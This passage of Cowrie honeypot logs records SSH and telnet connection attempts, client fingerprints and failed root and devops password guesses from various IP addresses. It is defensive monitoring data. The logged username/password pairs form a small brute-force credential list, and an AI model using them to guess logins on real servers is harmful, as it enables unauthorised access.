03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:06.269003Z","src_ip":"211.251.245.88","session":"004bc6a56b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd@","message":"login attempt [root/1234abcd@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:07.155267Z","src_ip":"211.251.245.88","session":"004bc6a56b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:08.369966Z","src_ip":"211.251.245.88","session":"004bc6a56b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49870,"dst_ip":"159.203.135.109","dst_port":22,"session":"71139bf8ae61","protocol":"ssh","message":"New connection: 51.250.105.222:49870 (159.203.135.109:22) [session: 71139bf8ae61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:18.957157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:18.962931Z","src_ip":"51.250.105.222","session":"71139bf8ae61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:19.091164Z","src_ip":"51.250.105.222","session":"71139bf8ae61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:19.480938Z","src_ip":"51.250.105.222","session":"71139bf8ae61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:20.609839Z","src_ip":"51.250.105.222","session":"71139bf8ae61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":42970,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f24a63dddfa","protocol":"ssh","message":"New connection: 92.118.39.50:42970 (159.203.135.109:22) [session: 0f24a63dddfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:29.422153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:29.469234Z","src_ip":"92.118.39.50","session":"0f24a63dddfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:29.559732Z","src_ip":"92.118.39.50","session":"0f24a63dddfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:30.276557Z","src_ip":"92.118.39.50","session":"0f24a63dddfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:31.425580Z","src_ip":"92.118.39.50","session":"0f24a63dddfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":42418,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aad71a46b0d","protocol":"ssh","message":"New connection: 160.22.170.38:42418 (10.17.0.5:22) [session: 1aad71a46b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:44.383821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:44.539166Z","src_ip":"160.22.170.38","session":"1aad71a46b0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:44.821616Z","src_ip":"160.22.170.38","session":"1aad71a46b0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops2026","message":"login attempt [devops/devops2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:47.658236Z","src_ip":"160.22.170.38","session":"1aad71a46b0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.181.172","src_port":55756,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc5c2ed5da58","protocol":"ssh","message":"New connection: 8.222.181.172:55756 (10.17.0.5:22) [session: cc5c2ed5da58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:48.515814Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:49.030787Z","src_ip":"124.160.173.22","session":"4bec84de6729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:49.080870Z","src_ip":"160.22.170.38","session":"1aad71a46b0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:51.768515Z","src_ip":"8.222.181.172","session":"cc5c2ed5da58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.181.172","src_port":55770,"dst_ip":"10.17.0.5","dst_port":22,"session":"e612c10f8e28","protocol":"ssh","message":"New connection: 8.222.181.172:55770 (10.17.0.5:22) [session: e612c10f8e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:51.993242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:51.998331Z","src_ip":"8.222.181.172","session":"e612c10f8e28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:52.226482Z","src_ip":"8.222.181.172","session":"e612c10f8e28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:52.933629Z","src_ip":"8.222.181.172","session":"e612c10f8e28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":51644,"dst_ip":"159.203.135.109","dst_port":23,"session":"78bd88bdaa46","protocol":"telnet","message":"New connection: 137.184.5.188:51644 (159.203.135.109:23) [session: 78bd88bdaa46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:56.467247Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":51137,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d7cce1e4b56","protocol":"ssh","message":"New connection: 14.55.144.22:51137 (159.203.135.109:22) [session: 5d7cce1e4b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:59.685447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:59.687569Z","src_ip":"14.55.144.22","session":"5d7cce1e4b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:59.895386Z","src_ip":"14.55.144.22","session":"5d7cce1e4b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123.com","message":"login attempt [root/abc123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:00.756931Z","src_ip":"14.55.144.22","session":"5d7cce1e4b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:01.966191Z","src_ip":"14.55.144.22","session":"5d7cce1e4b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":54608,"dst_ip":"159.203.135.109","dst_port":23,"session":"bda03e638b6c","protocol":"telnet","message":"New connection: 137.184.5.188:54608 (159.203.135.109:23) [session: bda03e638b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:05.828584Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":56276,"dst_ip":"10.17.0.5","dst_port":22,"session":"c928972970cd","protocol":"ssh","message":"New connection: 103.78.1.33:56276 (10.17.0.5:22) [session: c928972970cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:12.786316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:12.789575Z","src_ip":"103.78.1.33","session":"c928972970cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:13.014186Z","src_ip":"103.78.1.33","session":"c928972970cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234!@#$","message":"login attempt [root/Asdf1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:13.959695Z","src_ip":"103.78.1.33","session":"c928972970cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:15.181815Z","src_ip":"103.78.1.33","session":"c928972970cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":48202,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b707502705","protocol":"ssh","message":"New connection: 118.26.36.195:48202 (159.203.135.109:22) [session: 48b707502705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:19.058542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:19.062542Z","src_ip":"118.26.36.195","session":"48b707502705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:19.278006Z","src_ip":"118.26.36.195","session":"48b707502705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2010","message":"login attempt [root/admin2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:20.174986Z","src_ip":"118.26.36.195","session":"48b707502705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:21.393340Z","src_ip":"118.26.36.195","session":"48b707502705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.160.173.22","src_port":56618,"dst_ip":"10.17.0.5","dst_port":22,"session":"252dff338b8b","protocol":"ssh","message":"New connection: 124.160.173.22:56618 (10.17.0.5:22) [session: 252dff338b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:31.936770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:31.940576Z","src_ip":"124.160.173.22","session":"252dff338b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:32.189421Z","src_ip":"124.160.173.22","session":"252dff338b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!123","message":"login attempt [root/root!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:33.240110Z","src_ip":"124.160.173.22","session":"252dff338b8b","protocol":"ssh"}
